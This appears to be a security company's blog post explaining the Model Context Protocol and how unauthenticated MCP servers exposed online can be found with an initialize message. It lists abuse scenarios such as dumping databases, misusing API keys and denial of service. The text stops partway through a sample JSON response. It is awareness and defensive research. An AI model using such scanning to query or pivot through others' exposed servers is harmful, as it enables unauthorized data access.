  <title>It’s 2 AM. Do You Know Which AIs Your MCP Server Is Talking To?</title>
  <link>https://www.bitsight.com/blog/exposed-mcp-servers-reveal-new-ai-vulnerabilities</link>
  <description>&lt;span property="schema:name" class="field field--name-title field--type-string field--label-hidden"&gt;It’s 2 AM. Do You Know Which AIs Your MCP Server Is Talking To?&lt;/span&gt;
&lt;span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"&gt;&lt;span lang about="https://www.bitsight.com/user/16" typeof="schema:Person" property="schema:name" datatype&gt;Eric Cisternelli&lt;/span&gt;&lt;/span&gt;
&lt;span property="schema:dateCreated" content="2025-12-11T13:01:00+00:00" class="field field--name-created field--type-created field--label-hidden"&gt;&lt;time datetime="2025-12-11T08:01:00-05:00" title="Thursday, December 11, 2025 - 08:01" class="datetime"&gt;Thu, 12/11/2025 - 08:01&lt;/time&gt;
&lt;/span&gt;

    &lt;div class="layout layout--onecol"&gt;
    &lt;div class="layout__region layout__region--content"&gt;
        &lt;div class="block block-layout-builder block-inline-blocktext"&gt;
    
    
          


  

&lt;div class="block-content block-content--type-text block-content--39491 block-content--view-mode-full container text-wysiwyg"&gt;

  
  

          &lt;div class="text-wysiwyg__title"&gt;
      

    &lt;/div&gt;
  
      &lt;div class="text-wysiwyg__body"&gt;
      
            &lt;div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"&gt;
                          &lt;p&gt;When Anthropic &lt;a href="https://www.anthropic.com/news/model-context-protocol"&gt;dropped&lt;/a&gt; the &lt;a href="https://modelcontextprotocol.io/"&gt;Model Context Protocol&lt;/a&gt; (MCP) in late 2024, it felt like the missing puzzle piece for AI tooling: a standard way for Large Language Models (LLMs) to talk to data sources, APIs, and pretty much anything else you can think of. Think of it as a USB-C port for AI, as the protocol’s creators like to say.&lt;/p&gt;

&lt;p&gt;But like most shiny new standards, the devil’s in the details. Especially in those lines of documentation everyone tends to overlook in their rush to just get things working (been there, no judgment!). And when those details involve “optional authorization,” things can get interesting fast. That little caveat might be leaving thousands of MCP servers wide open to anyone who knows where to look.&lt;/p&gt;

&lt;p&gt;This is the story of how we went hunting for exposed MCP servers on the internet and found hundreds that will not only tell a stranger exactly what tools and data they’re wired into, but will also cheerfully answer any question you throw at them. And when those strangers have malicious intent and know exactly what to do once they find these servers, the consequences can get very serious as we’ll see in a moment.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/em&gt;: For the sake of simplicity, when we talk about “exposed MCP servers,” we’re referring to servers that are not only accessible over the internet &lt;strong&gt;but also&lt;/strong&gt; lack any form of authorization.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;&lt;/em&gt;: Don’t get us wrong: &lt;strong&gt;MCP is awesome&lt;/strong&gt;. It’s a powerful protocol that’s already reshaping how AI applications connect with external data sources and tools. Our goal here is simply to raise awareness within the community about something fundamental to maintaining MCP servers. So fundamental that it comes well before the flashier AI-era threats like prompt injection or anything in the &lt;a href="https://genai.owasp.org/llm-top-10/"&gt;OWASP Top 10 for LLM Applications&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Inside MCP: From message flow to real-world magic&lt;/h2&gt;

&lt;p&gt;Introduced in late 2024, MCP has rapidly emerged as a significant development in the AI ecosystem. Its promise of a standardized connection method for LLMs with tools, APIs and databases has generated considerable discussion.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://modelcontextprotocol.io/docs/getting-started/intro"&gt;official definition&lt;/a&gt; outlines MCP as follows:&lt;/p&gt;

&lt;div style="padding-left: 5%;"&gt;
&lt;p&gt;&lt;em&gt;MCP (Model Context Protocol) is an open-source standard for connecting AI applications to external systems.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Using MCP, AI applications like Claude or ChatGPT can connect to data sources (e.g. local files, databases), tools (e.g. search engines, calculators) and workflows (e.g. specialized prompts)—enabling them to access key information and perform tasks.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Think of MCP like a USB-C port for AI applications. Just as USB-C provides a standardized way to connect electronic devices, MCP provides a standardized way to connect AI applications to external systems. &lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;In other words, MCP introduces a standardized interface that abstracts away the complexity of individual data sources. Instead of every AI application needing to implement custom logic for each new database, API, or knowledge repository, they only need to understand how to communicate through MCP.&lt;/p&gt;

&lt;h2&gt;Some foundational MCP concepts&lt;/h2&gt;

&lt;p&gt;Before we move on, let’s break down a few key components of the MCP protocol.&lt;/p&gt;

&lt;h3&gt;The main actors: MCP Host, MCP Client, and MCP Server&lt;/h3&gt;

&lt;p&gt;The &lt;strong&gt;MCP Host&lt;/strong&gt; is the AI application or runtime environment where AI-driven tasks are executed. It also serves as the operator of the &lt;strong&gt;MCP Client&lt;/strong&gt;, which acts as an intermediary between the host and one or more &lt;strong&gt;MCP Servers&lt;/strong&gt;.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/MCP%20Architecture.png" width="850" height="356" alt="MCP Architecture" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;MCP Architecture (&lt;a href="https://modelcontextprotocol.io/docs/learn/architecture#concepts-of-mcp"&gt;source&lt;/a&gt; as of December 2025)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;These servers allow the client to access external services and perform tasks, exposing three key primitives: &lt;strong&gt;tools&lt;/strong&gt;, &lt;strong&gt;resources&lt;/strong&gt;, and &lt;strong&gt;prompts&lt;/strong&gt;. Here, we’ll focus on tools, which are the &lt;strong&gt;executable functions an AI application can call to actually do things&lt;/strong&gt;, like running a file operation, making an API call, or querying a database. If you’d like to explore resources, prompts, or any other part of the MCP protocol, we highly recommend checking out the &lt;a href="https://modelcontextprotocol.io/docs/getting-started/intro"&gt;official MCP documentation&lt;/a&gt;. We promise it won’t be boring. We’ve been there and genuinely enjoyed it!&lt;/p&gt;

&lt;h3&gt;The protocol handshake&lt;/h3&gt;

&lt;p&gt;A crucial first step in establishing an MCP client-server connection is the handshake. During this process, the client and server negotiate a compatible protocol version to ensure smooth communication. Once the connection is initialized, the client can request a list of tools, resources, and prompts from the server and then repeatedly invoke them at will. The following diagram illustrates this communication flow:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/MCP%20Handshake.png" width="750" height="750" alt="MCP Handshake" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;MCP Handshake (&lt;a href="https://www.mcpevals.io/blog/debugging-mcp-servers-tips-and-best-practices"&gt;source&lt;/a&gt;&amp;nbsp;as of December 2025)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h3&gt;How MCP clients and servers talk to each other&lt;/h3&gt;

&lt;p&gt;The MCP specification defines the protocol’s &lt;a href="https://modelcontextprotocol.io/docs/learn/architecture#data-layer"&gt;data layer&lt;/a&gt; and outlines how MCP clients and servers communicate using the &lt;a href="https://www.jsonrpc.org/specification"&gt;JSON-RPC 2.0&lt;/a&gt; standard. It further describes the &lt;a href="https://modelcontextprotocol.io/docs/learn/architecture#transport-layer"&gt;transport layer&lt;/a&gt; and the mechanisms for message exchange between the two parties:&lt;/p&gt;

&lt;h4&gt;Stdio&lt;/h4&gt;

&lt;p&gt;This method uses standard input (&lt;code&gt;stdin&lt;/code&gt;) and standard output (&lt;code&gt;stdout&lt;/code&gt;) streams for direct communication between local processes on the same machine. All communication between MCP clients and servers happens locally.&lt;/p&gt;

&lt;h4&gt;Streamable HTTP&lt;/h4&gt;

&lt;p&gt;This transport type enables remote communication between the MCP clients and servers using the HTTP POST method for client-to-server messages, with an optional &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events"&gt;Server-Sent Events (SSE)&lt;/a&gt; endpoint for streaming capabilities. In this setup, the MCP client sends requests via HTTP POST, and the server can respond with either a single JSON message or a continuous stream of messages delivered over time through SSE.&lt;/p&gt;

&lt;p&gt;You can try this yourself to see it in action. For simplicity, we’ll use a dummy MCP server for demonstration purposes: &lt;a href="https://github.com/modelcontextprotocol/servers/tree/main/src/everything"&gt;The Everything MCP Server&lt;/a&gt;&lt;sup&gt;1&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;It can be spun up easily with a single &lt;code&gt;npx&lt;/code&gt; command:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Spinning%20up%20the%20Everything%20MCP%20server%20for%20a%20quick%20demo%20using%20Streamable%20HTTP%20as%20the%20transport%20type.png" width="850" height="209" alt="Spinning up the Everything MCP server for a quick demo using Streamable HTTP as the transport type" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Spinning up the “Everything” MCP server for a quick demo using Streamable HTTP as the transport type&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;You’ll now have the &lt;code&gt;/mcp&lt;/code&gt; endpoint ready to receive POST requests. You can use &lt;code&gt;curl&lt;/code&gt; to send the &lt;code&gt;&lt;a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/lifecycle#initialization"&gt;initialize&lt;/a&gt;&lt;/code&gt; message, which is the first message in the MCP handshake we saw earlier:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Sending%20the%20initialize%20message.png" width="850" height="816" alt="Sending the initialize message" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Sending the &lt;code&gt;initialize&lt;/code&gt; message to our demo MCP server using StreamableHTTP as transport type&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h4&gt;(Legacy) HTTP with SSE&lt;/h4&gt;

&lt;p&gt;The initial MCP specification introduced HTTP with SSE as a transport type. It relied on two separate HTTP connections: one for Server-Sent Events (server-to-client messages) and another standard POST endpoint for client-to-server communication. This approach is now &lt;a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#backwards-compatibility"&gt;deprecated&lt;/a&gt;, with Streamable HTTP being the preferred option for new implementations when the MCP server is remotely accessible and stdio cannot be used.&lt;/p&gt;

&lt;p&gt;We can use the same dummy MCP server as before to see how these two separate HTTP connections work together. We’ll start by spinning up the Everything MCP Server in SSE mode:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Spinning%20up%20the%20Everything%20MCP%20Server%20again.png" width="850" height="253" alt="Spinning up the Everything MCP Server again" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Spinning up the “Everything” MCP Server again, this time using SSE as the transport type&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Here, unlike what we saw earlier, we first need to send a GET request to the &lt;code&gt;/sse&lt;/code&gt; endpoint to obtain the session URL:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Getting%20the%20session%20URL%20for%20subsequent%20protocol%20interactions_.png" width="850" height="206" alt="Getting the session URL for subsequent protocol interactions" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Getting the session URL for subsequent protocol interactions&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;You’ll notice that your &lt;code&gt;curl&lt;/code&gt; command hangs. That’s because this isn’t a regular HTTP endpoint, but an SSE endpoint that stays open, waiting for more events to arrive. Now, the same &lt;code&gt;initialize&lt;/code&gt; message we saw earlier should be sent to the endpoint you just received. When you do that, you’ll see the response is simply an &lt;code&gt;HTTP 202 Accepted&lt;/code&gt; with no payload returned:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Sending%20the%20initialize%20message%20through%20the%20current%20session%20URL.png" width="850" height="562" alt="Sending the initialize message through the current session URL" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Sending the &lt;code&gt;initialize&lt;/code&gt; message through the current session URL&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;The actual data from the server is delivered through the SSE connection that was opened earlier:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Receiving%20the%20response%20to%20our%20initialize%20message.png" width="850" height="266" alt="Receiving the response to our initialize message" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Receiving the response to our &lt;code&gt;initialize&lt;/code&gt; message on the previously opened SSE event stream&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h2&gt;How does that work in real life?&lt;/h2&gt;

&lt;p&gt;We know, we know. You’re absolutely right. That was pretty low-level, and most users don’t really care about those details. But we thought it’d be cool to take a peek under the hood and see what’s actually happening when you use MCP.&lt;/p&gt;

&lt;p&gt;Of course, there are several &lt;a href="https://github.com/modelcontextprotocol/"&gt;SDKs&lt;/a&gt; you can use right out of the box to handle all that communication for you. And if you prefer, or if you’re not on the developer side of things, you can use any existing LLM-based application that already &lt;a href="https://modelcontextprotocol.io/clients"&gt;supports&lt;/a&gt; MCP.&lt;/p&gt;

&lt;p&gt;Here in this demo, we’ll use &lt;a href="https://github.com/google-gemini/gemini-cli"&gt;Gemini CLI&lt;/a&gt; as our MCP host/client and &lt;a href="https://github.com/bytebase/dbhub/"&gt;DBHub&lt;/a&gt; as our MCP server. DBHub calls itself a “&lt;em&gt;universal database MCP server connecting to MySQL, PostgreSQL, SQL Server, MariaDB&lt;/em&gt;” so it’s a great way to show how MCP lets an AI application talk directly to a database.&lt;/p&gt;

&lt;p&gt;We’ll start by firing up the DBHub MCP server with the &lt;code&gt;--demo flag&lt;/code&gt; (“&lt;em&gt;The demo mode includes a bundled SQLite sample "employee" database with tables for employees, departments, salaries, and more&lt;/em&gt;”). We’ll also use the &lt;code&gt;--transport&lt;/code&gt;&amp;nbsp;flag to expose it over Streamable HTTP:&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Firing%20up%20our%20demo%20DBHub%20MCP%20server.png" width="850" height="772" alt="Firing up our demo DBHub MCP server" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Firing up our demo DBHub MCP server&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Now all it takes is configuring the Gemini CLI to point to our MCP server and that’s it!&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Our%20Gemini%20CLI%20settings%20file.png" width="850" height="592" alt="Our Gemini CLI settings file" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Our Gemini CLI settings file&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;If you now run &lt;code&gt;/mcp&lt;/code&gt; in your Gemini CLI, you’ll see that one MCP server is connected, exposing both tools and prompts. As mentioned earlier, this means the MCP host (in this case, Gemini CLI) has handled all the heavy lifting performing the full MCP handshake and message exchange between the client and server so you don’t have to. Now you’re all set to start asking your database questions in plain natural language!&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Confirming%20were%20connected%20to%20our%20demo%20MCP%20server.png" width="750" height="539" alt="Confirming were connected to our demo MCP server" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Confirming we’re connected to our demo MCP server&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Let’s poke around to see which tables we can access, and then dump one to take a closer look.&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Asking%20for%20a%20list%20of%20tables%20we%20may%20have%20access%20to.png" width="850" height="677" alt="Asking for a list of tables we may have access to" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;Asking for a list of tables we may have access to&lt;br&gt;
(and notice there’s no mention of our MCP server in the prompt because there’s no need to)&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/%20The%20MCP%20server%20happily%20dumps%20the%20employees%20table%20for%20us_.png" width="850" height="572" alt="The MCP server happily dumps the employees table for us" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;The MCP server happily dumps the &lt;code&gt;employees&lt;/code&gt; table for us&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;h2&gt;That’s it? Really?&lt;/h2&gt;

&lt;p&gt;Yep, that’s really it! Our AI app is now hooked up to the MCP server at &lt;code&gt;http://localhost:8080/message&lt;/code&gt;, ready to use the tools it advertised during the handshake we explored earlier. Why do you ask? Do you think something’s missing?&lt;/p&gt;

&lt;center&gt;
&lt;figure role="group" class="caption caption-drupal-media align-center"&gt;
&lt;article class="media media--type-image media--view-mode-original"&gt;
  
      
            &lt;div class="field field--name-field-image field--type-image field--label-hidden field__item"&gt;
                            &lt;img loading="lazy" src="https://www.bitsight.com/sites/default/files/2025/12/09/Authorization.png" width="850" height="425" alt="Authorization" typeof="foaf:Image"&gt;


              &lt;/div&gt;
      
  &lt;/article&gt;

&lt;figcaption&gt;You, reading this and realizing something’s missing: &lt;strong&gt;Authorization!&lt;/strong&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;/center&gt;

&lt;p&gt;Ah, yeah…glad you asked! (And if you didn’t, just pretend you did). So, we’ve exposed our demo MCP server over an HTTP endpoint that could be accessed remotely by multiple clients (even though our demo was running locally). The catch? We haven’t added any authorization mechanism. That sounds… well, a little dangerous, to say the least.&lt;/p&gt;

&lt;p&gt;By now, we’re hoping we’ve earned your attention for the rest of the blog post.&lt;/p&gt;

&lt;h2&gt;According to the MCP specification…&lt;/h2&gt;

&lt;p&gt;Let’s see what the latest MCP specification has to say about &lt;a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization"&gt;authorization&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;span style="color:red;"&gt;&lt;em&gt;Authorization is OPTIONAL&lt;/em&gt;&lt;/span&gt;&lt;em&gt; for MCP implementations. (...) Implementations using an HTTP-based transport SHOULD conform to this specification&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Okay, so that’s the point: the MCP specification doesn’t enforce the use of authorization mechanisms for accessing MCP servers. It simply recommends that implementers follow the spec’s guidance (which happens to be &lt;a href="https://oauth.net/2.1/"&gt;OAuth 2.1&lt;/a&gt;), but ultimately, &lt;strong&gt;it’s up to each MCP server’s owner to decide whether (and how) to implement authorization&lt;/strong&gt;.&lt;strong&gt; And many simply don’t&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;The most important message of this post&lt;/h2&gt;

&lt;p&gt;This optional authorization mechanism left up to you as the MCP server owner is exactly what we wanted to highlight. MCP is still such a new technology, and everyone’s in a rush to test it, play with it, and roll it out across their organization. But that rush to get something working in production can have disastrous consequences. Especially if a developer (like the one we were pretending to be in our demo earlier) overlooks this crucial detail, or if a vibe coder building their next $1B startup sees their AI-powered app “just working” with an MCP server that happens to be wide open to the world, completely unaware that their coding assistant just exposed it to the internet.&lt;/p&gt;

&lt;p&gt;While Anthropic authored the MCP specification, it’s not their job to enforce how every server handles authorization. The specification offers guidance, not guarantees. So if you’re planning to implement an MCP server within your organization, whether you’re building one from scratch or using an existing one (and there are &lt;a href="https://glama.ai/mcp/servers"&gt;plenty&lt;/a&gt; out there!), keep in mind that:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Because authorization is optional, it’s easy to skip it when moving from a demo to a real-world deployment, potentially exposing sensitive tools or data.&lt;/li&gt;
	&lt;li&gt;Many MCP servers are designed for local use, but once one is exposed over HTTP, the attack surface expands dramatically. That’s when “optional” authorization becomes a real liability. The trusted boundary you assumed no longer applies.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hopefully, by now, it’s clear that exposing an MCP server to the internet without any kind of authorization in front of it is basically &lt;strong&gt;an open invitation for malicious actors to use it as a proxy to reach whatever data or services its tools expose&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Imagine you’ve carefully configured your database, filesystem, API service or any other resource you’ve connected as a tool to your MCP server, following every security best practice you can think of. You’re confident that only your MCP server can access those data sources, and you settle in for a peaceful night’s sleep. &lt;strong&gt;But if that MCP server is exposed to the internet, anyone can use it to pivot into the very services you thought were protected&lt;/strong&gt;. Malicious possibilities are endless:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;If you’re exposing databases or filesystems, that information could be easily exfiltrated (just like we did in our earlier demo) or even modified, if write access is allowed&lt;/li&gt;
	&lt;li&gt;If your tools use third-party APIs to access other services, anyone exploiting your exposed MCP server could gain the same access and privileges
	&lt;ul&gt;
		&lt;li&gt;If it’s a paid API service, a malicious actor could use your exposed MCP server (and your valuable API key) for free, and you’d be the one footing the bill.&lt;/li&gt;
		&lt;li&gt;If someone simply wants to cause chaos, they could trigger a denial-of-service attack by issuing millions of requests through your MCP server, exhausting resources until the provider blocks your API key entirely.&lt;/li&gt;
	&lt;/ul&gt;
	&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s so much that could go wrong that we could spend all day listing scenarios, but you probably get the point by now. And the point is this: if you’re experimenting with MCP servers or thinking about hosting your own, it’s easy to get caught up in the buzz around new AI attack vectors like prompt injection and other trendy exploits and, in the process of trying to defend against them all, you simply forget the basics. So, &lt;strong&gt;don’t expose your MCP server to the internet unless you have a really good reason to. And if you do, make sure it’s protected by a proper authorization mechanism&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;But if you’re the kind of person who needs to see it to believe it, stick with us, because we went hunting for exposed MCP servers with no authorization in place, and what we found was pretty alarming. We promise, the examples ahead will get your attention.&lt;/p&gt;

&lt;h2&gt;Our hunting for exposed MCP servers&lt;/h2&gt;

&lt;h3&gt;The detection payload&lt;/h3&gt;

&lt;p&gt;In theory, this should be straightforward and no different from detecting any other service in the wild. We just need to send a payload to a given target and analyze the response. If it matches the expected pattern, it’s bull’s-eye.&lt;/p&gt;

&lt;p&gt;We’ve already dissected the MCP protocol, so it should come as no surprise what our detection payload will be. Of course, it’s the &lt;code style="color:blue;"&gt;&lt;a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/lifecycle#initialization"&gt;initialize&lt;/a&gt;&lt;/code&gt; message. And since we also know exactly what a valid response looks like, if we receive that back, we can be 100% sure we’ve found an exposed MCP server that happily initialized a connection from a client without even checking for authorization.&lt;/p&gt;

&lt;table border="0" cellpadding="1" cellspacing="1" style="width: 100%;"&gt;
	&lt;tbody&gt;
		&lt;tr style="border:none;"&gt;
			&lt;td style="vertical-align: top;border:none;"&gt;
			&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color: coral;"&gt;

{
 "jsonrpc"&lt;span style="color: white;"&gt;:&lt;/span&gt; "2.0"&lt;span style="color: white;"&gt;,&lt;/span&gt;
 "id"&lt;span style="color: white;"&gt;: 1,&lt;/span&gt;
 "method"&lt;span style="color: white;"&gt;:&lt;/span&gt; "initialize"&lt;span style="color: white;"&gt;,&lt;/span&gt;
 "params"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
   "protocolVersion"&lt;span style="color: white;"&gt;:&lt;/span&gt; "2024-11-05"&lt;span style="color: white;"&gt;,&lt;/span&gt;
   "capabilities&lt;span style="color: white;"&gt;": {&lt;/span&gt;
     "roots"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
       "listChanged": &lt;span color:="white;"&gt;:&lt;/span&gt; &lt;span color:="cornflowerblue;"&gt;True&lt;/span&gt;
     &lt;span style="color: white;"&gt;},&lt;/span&gt;
     "sampling"&lt;span style="color: white;"&gt;: {},&lt;/span&gt;
     "elicitation"&lt;span style="color: white;"&gt;: {}&lt;/span&gt;
  &lt;span style="color: white;"&gt; },&lt;/span&gt;
   "clientInfo"&lt;span style="color: white;"&gt;:&lt;/span&gt; &lt;span style="color: white;"&gt;{&lt;/span&gt;
     "name"&lt;span style="color: white;"&gt;:&lt;/span&gt; "ExampleClient"&lt;span style="color: white;"&gt;,&lt;/span&gt;
     "title"&lt;span style="color: white;"&gt;:&lt;/span&gt; "Example Client Display Name"&lt;span style="color: white;"&gt;,&lt;/span&gt;
     "version"&lt;span style="color: white;"&gt;:&lt;/span&gt; "1.0.0"
&lt;span style="color: white;"&gt;   }
 }
}&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

			&lt;p style="vertical-align: bottom;font-size: 16px !important;
    font-weight: 400;
    letter-spacing: 0.02em;"&gt;Our &lt;code&gt;initialize&lt;/code&gt; message looks like this&lt;/p&gt;
			&lt;/td&gt;
			&lt;td style="vertical-align: top;border:none;"&gt;
			&lt;pre style="background:#303030; padding:15px; font-size:13px; line-height:1.5; white-space: pre-wrap; overflow-wrap: anywhere; word-break: break-word;"&gt;
&lt;code style="color: coral;"&gt;

{
 "jsonrpc"&lt;span style="color: white;"&gt;:&lt;/span&gt; "2.0"&lt;span style="color: white;"&gt;,&lt;/span&gt;
 "id"&lt;span style="color: white;"&gt;: 1,&lt;/span&gt;
 "result"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
   "protocolVersion"&lt;span style="color: white;"&gt;:&lt;/span&gt; "2024-11-05"&lt;span style="color: white;"&gt;,&lt;/span&gt;
   "capabilities"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
     "logging"&lt;span style="color: white;"&gt;: {},&lt;/span&gt;
     "prompts"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
       "listChanged"&lt;span style="color: white;"&gt;:&lt;/span&gt; &lt;span style="color: cornflowerblue;"&gt;True&lt;/span&gt;
   &lt;span style="color: white;"&gt;  },&lt;/span&gt;
     "resources"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
       "subscribe"&lt;span style="color: white;"&gt;:&lt;/span&gt; &lt;span style="color: cornflowerblue;"&gt;True&lt;/span&gt;&lt;span style="color: white;"&gt;,&lt;/span&gt;
       "listChanged"&lt;span style="color: white;"&gt;:&lt;/span&gt; &lt;span style="color: cornflowerblue;"&gt;True&lt;/span&gt;
  &lt;span style="color: white;"&gt;   },&lt;/span&gt;
     "tools"&lt;span style="color: white;"&gt;: {&lt;/span&gt;
